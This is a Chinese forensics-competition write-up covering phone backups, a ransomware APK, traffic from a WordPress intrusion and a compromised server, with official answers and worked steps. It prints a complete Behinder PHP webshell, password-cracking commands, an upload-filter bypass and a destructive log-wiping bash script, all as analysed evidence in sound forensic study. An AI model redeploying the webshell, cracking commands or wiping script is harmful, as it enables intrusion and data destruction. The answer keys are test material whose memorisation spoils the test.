将解密后的 E:\data-backup.dd 导出. 根据文件签名判断这实际上是一个 PKZIP 文件, 解压之后其中存储着 1 个容器文件和 1 个 txt 文件:

Pasted image 20250911112214.png

16 其中存在一苹果手机备份包,手机备份包的密码是

答案

75966

备份在上题的 VC 容器中, 有加密:

Pasted image 20250913205012.png

提取备份哈希:

PowerShell
perl .\itunes_backup2john.pl "D:\Longxin2024\2024年06月19日_18时07分45秒_iPhone\a9f9362b4e1498f85f5e64a7b2a37ca9244486f4\Manifest.plist"
# -> $itunes_backup$*10*626711969caae23df508e651fa071254593d97384e76fed148cd0f3958e0beace281310f49cdc019*10000*f4aa09135e119c474548436d29bd9830242b3cb5*10000000*6ba58ebbae1fed3cb11e0e8b4ce6d49be0282e11

hashcat 跑弱口令字典爆破:

PowerShell
 hashcat -m 14800 -a 0 -d 1 "`$itunes_backup`$*10*626711969caae23df508e651fa071254593d97384e76fed148cd0f3958e0beace281310f49cdc019*10000*f4aa09135e119c474548436d29bd9830242b3cb5*10000000*6ba58ebbae1fed3cb11e0e8b4ce6d49be0282e11" "D:\Forensics\PasswordCrack\dict\password-attacks\4to6_digits.txt"

爆出来口令是 75966:

Pasted image 20250913213624.png

17 接上题,机主实际篡改多少微信数据

答案

3

备份中只安装了 3 个第三方应用:

Pasted image 20250913213807.png

导出这些应用的 Container 和 GroupContainer.

微信的消息记录数据库是 AppDomain-com.tencent.xin\Documents\0f622b1ed0cec997394177e4a0d5d9e2\DB\message_*.db:

Pasted image 20250913214054.png

Pasted image 20250913214355.png

AppDomain-com.tencent.xin\Documents\0f622b1ed0cec997394177e4a0d5d9e2\session\lsm_data\level_0 中存储着微信的消息碎片. 整个文件是自定义的二进制格式, 查看一些数据并对照聊天记录数据库发现规律, 可以搜索十六进制串找到对应的消息: b"\x42\x13" + sender_wxid.encode() + b"\x20\x02\x4a\x13" + reciever_wxid.encode(). 该十六进制串后为消息长度, 之后即为消息内容:

Pasted image 20250913222810.png

对照后发现 3 条消息被修改:

Pasted image 20250913222047.png

Pasted image 20250913221753.png

Pasted image 20250913221812.png

18 接上题,机主共存款了多少金额

答案

98万

com.titashow.tangliao(小西米语音)的数据库 AppDomain-com.titashow.tangliao\Documents\IM5_CN\9031bc3c805ac5e55ecaa151092c2c4b\IM5_storage\1438793628033019010\im5db 中可以找到:

Pasted image 20250915094015.png

19 在手机模拟中勒索 apk 软件的 sha256 值是

答案

340bd211955996c5d62bbde94a0bed4eb3a7965b23af52114991bca02346928e

手机模拟器有一个备份, 位于 Partition1\Users\Administrator\Documents 目录中. 是夜神模拟器的备份, 实际上是一个 PKZIP 压缩包, 导出并解压即可得到虚拟机的虚拟磁盘文件

Pasted image 20250913211529.png

使用 FTK Imager 挂载 nox-disk2.vmdk, 在 Partition3\app 目录中看到只有 3 个非预装应用:

Pasted image 20250913211939.png

可以猜到 com.fankes.tmoreplus 是勒索软件的包名, 导出其中的 APK 包, 计算 SHA-256 为: 340bd211955996c5d62bbde94a0bed4eb3a7965b23af52114991bca02346928e.

20 接上题,勒索 apk 软件的解锁密码是

答案

anzhuo.com

使用 JEB 加载上述 APK 包, 应用的主入口类 package com.mycompany.myapp4.MainActivity:

Pasted image 20250913212328.png

开启了无障碍服务, 加载了一个空白的全屏 Layout:

Pasted image 20250913212454.png

通过无障碍服务启动了新的类 0x10000000:

Java
intent0.addFlags(0x10000000);
context0.startActivity(intent0);

该类是 com.mycompany.myapp4.ABC:

Pasted image 20250913212806.png

可以看出解锁密码为 anzhuo.com.

这里加载了一个新的 Overlay, 并通过无障碍服务置于用户界面顶层:

Pasted image 20250913212925.png

Overlay 的内容是(部分内容因为言语过激已打码):

Pasted image 20250913213324.png

流量分析

用 WireShark 或者科来网络分析系统(Csnas)都行, 我个人做取证的时候比较喜欢用 Csnas, 做 CTF 的时候喜欢用 WireShark. 这里就以 Csnas 为例.

01 给出管理员对 web 环境进行管理的工具名

答案

宝塔

在识别到的应用中可以看到 WordPress, 所以至少应该是一个 LAMP 的集成工具之类的东西.

Pasted image 20250915095423.png

在 TCP 会话中看到了熟悉的域名 bt.cn, 有宝塔面板的流量:

Pasted image 20250915095755.png

02 给出攻击者的 ip 地址是

答案

192.168.209.135

在 HTTP POST 请求的流量中看到 IP 地址 192.168.209.135 在尝试爆破 WordPress 服务中的用户名:

Pasted image 20250915100407.png

03 给出攻击者爆破出的网站非管理员用户名是

答案

saber

查看 192.168.209.135 与服务器 IP 192.168.209.147 之间的 IP 会话, 发现攻击者的大致攻击路径是:

  1. 扫描常见目录/文件, 发现有 WordPress 和一个疑似上传后门的 up_load.php, 由 up_load.html 调用:
    • Pasted image 20250915192249.png
    • Pasted image 20250915192323.png
    • Pasted image 20250915103612.png
    • Pasted image 20250915105415.png
  2. 爆破 WordPress 的用户名密码
    • Pasted image 20250915104211.png
    • Pasted image 20250915104940.png
  3. 利用文件上传后门获取 WebShell
    • Pasted image 20250915104410.png
  4. 此外还有使用 sqlmap 进行 SQL 注入的攻击. 不过攻击者并没有通过 sqlmap 获得数据库信息
    • Pasted image 20250915192832.png

04 攻击者进行目录扫描得到的具有后门的页面 url 路径为

答案

/up_load.html

见上题.

05 攻击者通过修改请求包中的哪个字段导致恶意文件成功上传

答案

Content-Type

up_load.php 的几次交互:

Pasted image 20250915105658.png

查看包之后发现攻击者在修改 Content-Type 以绕过文件类型检测:

Pasted image 20250915110129.png

Pasted image 20250915110152.png

Pasted image 20250915110208.png

06 攻击者上传成功的恶意文件,该文件的临时存放路径是

答案

/tmp/php38mbeJ

接上题, 查看最后一个包的响应:

Pasted image 20250915111045.png

07 服务器 php 配置文件的存放位置

答案

/www/server/php/82/etc/php.ini

可以看到上传的是冰蝎自带的 php WebShell:

PHP
<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b";
    $_SESSION['k']=$key;
    session_write_close();
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");

        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

提取流量包中对 POST /uploaded_img/cont.php 的请求的响应体(Base64 串), 写一个简单的脚本对其进行解析:

Python
import re
import json
from pathlib import Path
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

def decrypt(data: bytes) -> bytes:
    key = b"e45e329feb5d925b"
    iv = b"\x00" * 16
    cipher  = AES.new(key, AES.MODE_CBC, iv)
    return unpad(cipher.decrypt(data), 16)

def find_interacts(stream: list[str]) -> list[str]:
    return [line for line in stream if line.startswith("3Mn1") or line.startswith("mAUY")]

def parse_req(req: str) -> dict[str, str]:
    req_raw = b64decode(req.encode())
    req_dec = decrypt(req_raw).decode("latin1")
    pattern_b64 = r"'(.*)'"
    b64_match = re.findall(pattern_b64, req_dec)[0]
    php = b64decode(b64_match.encode("latin1")).decode()
    pattern_cmd = r'cmd="([A-Za-z0-9+/=]+)";'
    cmd_match = re.findall(pattern_cmd, php)
    cmd = ""
    if cmd_match:
        cmd = cmd_match[0]
        cmd = b64decode(cmd).decode("utf-8")
    pattern_path = r'path="([A-Za-z0-9+/=]+)";'
    path_match = re.findall(pattern_path, php)
    path = ""
    if path_match:
        path = path_match[0]
        path = b64decode(path).decode("utf-8")

    j = {
        "cmd": cmd,
        "path": path
    }
    return j

def parse_resp(resp: str) -> dict[str, str|dict]:
    resp_raw = b64decode(resp.encode())
    resp_dec = decrypt(resp_raw).decode("latin1")
    ob: dict = json.loads(resp_dec)
    status, msg = tuple(ob.values())
    status = b64decode(status).decode("utf-8")
    if msg:
        msg = b64decode(msg).decode("utf-8")
    try:
        msg = {k : b64decode(v).decode("utf-8") 
               for k, v in json.loads(msg).items()}
    except:
        pass

    j = {
        "status": status,
        "msg": msg
    }
    return j

def parse_stream(stream_file: str | Path,
                 output_file: str | Path) -> None:
    stream = list()
    with open(stream_file, "r", encoding="utf-8") as f:
        stream = f.readlines()

    interacts = find_interacts(stream)

    with open(output_file, "w", encoding="utf-8") as f:
        for idx, pac in enumerate(interacts):
            if not idx % 2:
                f.write(f"Packet {idx // 2 + 1} \n")
            if pac.startswith("3Mn1"):
                f.write("Direct -> \n")
                j = parse_req(pac)
                f.write(f"- Command: {j.get("cmd", "")}\n")
                f.write(f"- WorkingDir: {j.get("path", "")}\n")
                f.write("\n")
            if pac.startswith("mAUY"):
                f.write("Direct <- \n")
                j = parse_resp(pac)
                f.write(f"- Status: {j.get("status", "")}\n")
                f.write(f"- MSG: {j.get("msg", "")}\n")
                f.write("\n")
            if idx % 2:
                f.write("\n")

if __name__ == "__main__":
    stream_file = "stream_file"
    output_file = "output.txt"
    parse_stream(stream_file, output_file)

在响应中找到传回的 phpinfo 的 html 页面:

Pasted image 20250915145910.png

找到 php 配置文件目录:

Pasted image 20250915145956.png

08 被攻击的 web 环境其数据库密码是

答案

X847Z3QzF1a6MHjR

还是在冰蝎的流量中:

Pasted image 20250915165939.png

对流量进行解密之后, 看到攻击者读取了 wp-config.php 文件:

Pasted image 20250915170042.png

09 服务器管理存放临时登录密码的位置

答案

/tmp/tmppass

在冰蝎的流量中:

Pasted image 20250915170647.png

Pasted image 20250915170602.png

10 黑客获取的高权限主机的登录密码

答案

passwd!@#

见上题

服务器取证

Pasted image 20250916092408.png

01 服务器会做登录密码验证,该登录验证文件位置在

答案

/etc/profile.d/check-system.sh

如果使用火眼仿真的自动清除密码功能, 开机自启的某个检查程序会识别到密码与原本的不同, 而删掉数据库等文件:

Pasted image 20250916100229.png

Pasted image 20250916100420.png

Linux 中开机自启的脚本一般在 /etc/profile.d 或者 bashrc 里面. /etc/profile.d/check-system.sh 为实现该功能的脚本:

Bash
#!/usr/bin/env bash

OLD=""
if [ -f /etc/.cadpc ]; then
  OLD="$(cat /etc/.cadpc)"
fi
CURRENT="$(cat /etc/shadow | sha256sum | awk -F ' ' '{print $1}')"
if [ "$OLD" != "$CURRENT" ]; then
  echo "Illegal login detected!!!"
  rm -rf /etc/profile.d/check-system.sh
  docker rm -f $(docker ps -aq)
  rm -rf /opt/proxy/
  rm -rf /opt/install.sh
  rm -rf /root/ntp-tunnel
  rm -rf /root/sock5-tunnel
  rm -rf /home/*
  rm -rf /root/.docker/config.json
  docker image prune -af
  cat /dev/null > ~/.bash_history
  echo "" > ~/.bashrc
  hostnamectl set-hostname localhost
  history -c
fi

存储 SHA256 的文件 /etc/.cadpc:

Text Only
4e5f8b3141fba19274789df7cfca39d96dd60b76e9d843c41ec37bbd366fd7e3

解决方案有好几种:

  1. 重置密码. 启动系统前时编辑 Grub, 通过单用户模式删除该脚本.
  2. 重置密码. 正常登录用户, 接着拼手速, 狂按 Ctrl + C, 中断脚本运行.
  3. 不重置密码, 使用之前手机检材中获取的密码登录.

02 服务器 ssh 端口是

答案

12320

Pasted image 20250916101830.png

03 服务器 docker 内有多少个镜像

答案

7

Pasted image 20250916103637.png

Pasted image 20250916110924.png

04 服务器内 sqlserver 默认账号的密码是

答案

<ci7uFtnkTv8>

/var/lib/docker/containers/392e75f460f47eafd270de2ba543439e89d99bfad6325e79806984ce549e6286 找到 sqlserver 的容器文件:

Pasted image 20250916103834.png

config.v2.json 中看到预设的环境变量(\u003c\u003e 分别是 <>):

Pasted image 20250916104109.png

05 服务器内 sqlserver 存放了阿里云存储下载地址,该下载地址是

答案

https://xinfenfa.oss-accelerate.aliyuncs.com

启动容器:

Pasted image 20250916111204.png

连接数据库, MS SQLServer 的默认用户名是 sa:

Pasted image 20250916115207.png

在数据库 cjj 的表 cmf_config 中找到阿里云存储下载地址:

Pasted image 20250916115355.png

06 服务器内 sqlserver 内 “cmf_user_action_log” 表,表内存在的用户操作日志,一共操作次数是

答案

99684318

字段 counts 是执行操作的次数, SQL 语句查询:

SQL
SELECT SUM(counts) FROM cmf_user_action_log;
/* -> 99684318 */

07 该服务器正在使用的数据库的持久化目录是

答案

/data/mongo

本题存疑

本题的题目描述或许有误: 题目描述存在疑义.

正确的题目描述应为: "该服务器正在使用的数据库在容器中的持久化目录是".

nginx -t 确定有 Nginx, 配置在 /etc/nginx/nginx.conf:

Pasted image 20250916131326.png

Nginx 配置内容:

Nginx Configuration File
http {
    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  /var/log/nginx/access.log  main;

    sendfile            on;
    tcp_nopush          on;
    tcp_nodelay         on;
    keepalive_timeout   65;
    types_hash_max_size 4096;

    include             /etc/nginx/mime.types;
    default_type        application/octet-stream;

    # Load modular configuration files from the /etc/nginx/conf.d directory.
    # See http://nginx.org/en/docs/ngx_core_module.html#include
    # for more information.
    include "/etc/nginx/conf.d/*.conf";

    server {
        listen       80;
        listen       [::]:80;
        server_name  _;
        root         /usr/share/nginx/html;

        # Load configuration files for the default server block.
        include "/etc/nginx/default.d/*.conf";

        error_page 404 /404.html;
        location = /404.html {
        }

        error_page 500 502 503 504 /50x.html;
        location = /50x.html {
        }
    }

站点配置位于 /etc/nginx/conf.d/bl.dsnbbaj686.fit.conf:

Nginx Configuration File
server {
    listen 80;
    server_name  bl.dsnbbaj686.fit;
    root  /opt/bl.dsnbbaj686.fit/www/public;
    index index.html index.htm index.php;

    location / {
        if (!-e $request_filename) {
            rewrite  ^(.*)$  /index.php?s=$1  last;   break;
        }
    }

    location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ {
        expires 100d;
        error_log /dev/null;
        access_log off; 
    }

    location ~ .*\.(js|css)?$ {
        expires 30d;
        error_log /dev/null;
        access_log off; 
    }

    location ~ \.php(/|$) {
        fastcgi_index index.php;
        fastcgi_pass  127.0.0.1:9000;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include fastcgi_params;
    }
}

站点目录在 /opt/bl.dsnbbaj686.fit/www/public, 是个 ThinkPHP 站点:

Pasted image 20250916132053.png

Pasted image 20250916132133.png

/opt/bl.dsnbbaj686.fit/www/app/database.php 内的配置:

PHP
<?php
return [
    'type'            => 'mongo',
    'hostname'        => '127.0.0.1',
    'database'        => 'lok1',
    'username'        => 'mongoadmin',
    'password'        => 'RvbwSG3dqgZQ',
    'hostport'        => '27017',
    'dsn'             => '',
    'params'          => [],
    'charset'         => 'utf8',
    'prefix'          => 'app_',
    'debug'           => true,
    'deploy'          => 0,
    'rw_separate'     => false,
    'master_num'      => 1,
    'slave_no'        => '',
    'fields_strict'   => true,
    'resultset_type'  => 'array',
    'auto_timestamp'  => true,
    'datetime_format' => 'Y-m-d H:i:s',
    'sql_explain'     => false,
];

使用的是 Docker 容器中的 MongoDB, 查看 Docker 容器的信息:

Pasted image 20250916132823.png

不知道答案应该填容器内的目录还是映射目录.

08 该网站后台正在使用的数据库有多少个集合

答案

13

使用 ThinkPHP 配置中获取的认证信息连接 MongoDB:

Pasted image 20250916155855.png

Pasted image 20250916160032.png

可以看到一共有 13 个集合.

09 该网站的后台登录地址是

答案

/appmanager/common/login.shtml

把整个网站的源码传到本地, 这个过程中火绒报了一个后门:

Pasted image 20250916160421.png

源码在 app 目录中, 其中 route.php 中包含路由:

Pasted image 20250916160626.png

路由信息保存在数据库的 app_urlconfig 集合中, 集合名称前缀在 database.php 中可以看到. 查看该集合:

Pasted image 20250916160853.png

ThinkPHP 中 URL 的典型结构是 <EntranceFile>/<Module>/<Controller>/<操作(方法名称)><伪静态后缀(可选)>. 从目录结构看, appmanager 文件夹明显是后台管理模块, 在 Common.php 中, 定义了一个名为 Common 的 Controller, 其中包含用于处理登录逻辑和显示登录页面的 login 方法. 在 app/config.php 中 可以看到伪静态后缀是 .shtml ('url_html_suffix' => 'shtml'). 因此整个后台的 URL 应该是 /appmanager/common/login.shtml.

另外, ThinkPHP 的日志文件位于 runtime 目录. 在日志文件中可以看到用户访问的后台界面的 URL:

Pasted image 20250916232010.png

10 该网站后台使用的管理员加密算法是

答案

bcrypt

在数据库的 app_admin 集合中:

Pasted image 20250916163905.png

明显是 bcrypt.

11 该网站最早使用超级管理员进行删除管理员操作的 IP 地址是

答案

117.132.191.203

在数据库的 app_admin_log 集合里可以看到记录了 admin_menu_id & ip & operation_id:

Pasted image 20250916164016.png

app/appmanager/controller/index.php 中可以看到获取 menu 的逻辑:

Pasted image 20250916164513.png

数据库的 app_admin_menu 集合中的数据:

Pasted image 20250916164641.png

可以看到"删除管理员"的 id26, 对应的方法是 appmanager/admin/delete. 在 app_admin_log 中筛选 admin_menu_id = 26 的数据:

Pasted image 20250916165420.png

12 该网站后台上传过 sha256 值为 “b204ad1f475c7716daab9afb5f8d61815c508f2a2b1539bc1f42fe2f212b30d1” 的压缩包文件,该文件内的账单交易订单号是

答案

20240321000000005443369778283185

上传文件正常情况下都在 public/uploads 目录里, 用 HashMyFiles 计算目录下所有文件的哈希, 找到目标文件:

Pasted image 20250916165844.png

Pasted image 20250916165958.png

发现有加密. 但是上级目录带有注释, 提示密码是 5 位字母+数字.

恶心的点是, 这里使用的压缩格式是 WinZIP(哈希以 $zip2$*0*3*0 开头, 对应 HashCat 的 13600), 但 HashCat 最大支持 8KB 的哈希, 这个加密文件提取出来的哈希达到了 239KB, 无法用 HashCat 爆破. 至于为什么哈希这么大, 可以参考 Zip2john is incompatible with hashcat · Issue #2186 · hashcat/hashcat.

Passware 又不支持 CudaAPI, 速度明显不如 HashCat. 幸亏密码在爆破序列比较前面的位置, 不然就真的很费时间了:

Pasted image 20250916173804.png

txt 文件里面是个 Base64 编码的图片, 解码:

Pasted image 20250916173904.png

Pasted image 20250916174913.png

13 该网站存在网站数据库备份功能,该功能的接口地址是

答案

/appmanager/databackup/export

Pasted image 20250916175318.png

但是答案给的是 /appmanager/databackup, 我不理解为什么. 题目改成"该网站存在网站数据库备份 管理 功能,该功能的接口地址是"才合理.

14 该网站存放银行卡信息数据表中,其中信息数量前十的公司对应旗下 visa 银行卡一共有多少金额

答案

21701599.63

MongoDB 查询语句:

Python
db.app_card.aggregate([
    {
        $facet: {
            topCompanies: [
                {
                    $group: {
                        _id: "$company",
                        count: { $sum: 1 }
                    }
                },
                { $sort: { count: - 1 } },
                { $limit: 10 }
            ]
        }
    },
    { $unwind: "$topCompanies" },
    {
        $lookup: {
            from: "app_card",
            let: { companyName: "$topCompanies._id" },
            pipeline: [
                {
                    $match: {
                        $expr: { $eq: ["$company", "$$companyName"] },
                        card_no: /^4/
                    }
                },
                {
                    $group: {
                        _id: "$company",
                        total: { $sum: { $toDouble: "$money" } }
                    }
                }
            ],
            as: "visaCards"
        }
    },
    {
        $project: {
            company: "$topCompanies._id",
            total: { $ifNull: [{ $arrayElemAt: ["$visaCards.total", 0] }, 0] }
        }
    }
])

Pasted image 20250916182029.png

不熟悉 MongoDB 的话可以用 Navicat 导出到 Excel, 在 Excel 里面处理. 题目中隐含条件: VISA 卡的卡号首位为 4.

15 该网站在 2023 年 2 月共获取了多少条通信记录

答案

2879

本题存疑

本题的题目描述或许有误: 答案与题目描述不一致.

正确的题目描述应为: "该网站在 2023 年 2 月共获取了多少条电话号码".

时间起止范围的时间戳:

Pasted image 20250916230717.png

整个数据库中和通信有关的只有 app_mobile 这一个集合, 但这实际上只是姓名和电话号码的二元组, 并不能算是通信记录. 然而看官方给出的答案, 确实以该集合的数据为准, 也许是题目描述有误.

16 该网站的一条管理员信息存在数据篡改,请分析是哪个管理员信息遭到篡改,该管理员用户名是

答案

xYpMLuROhNl

在管理员集合 app_admin 中, 有一个管理员 xYpMLuROhNllogin_time 早于 create_time, 应为被篡改的数据:

Pasted image 20250916234840.png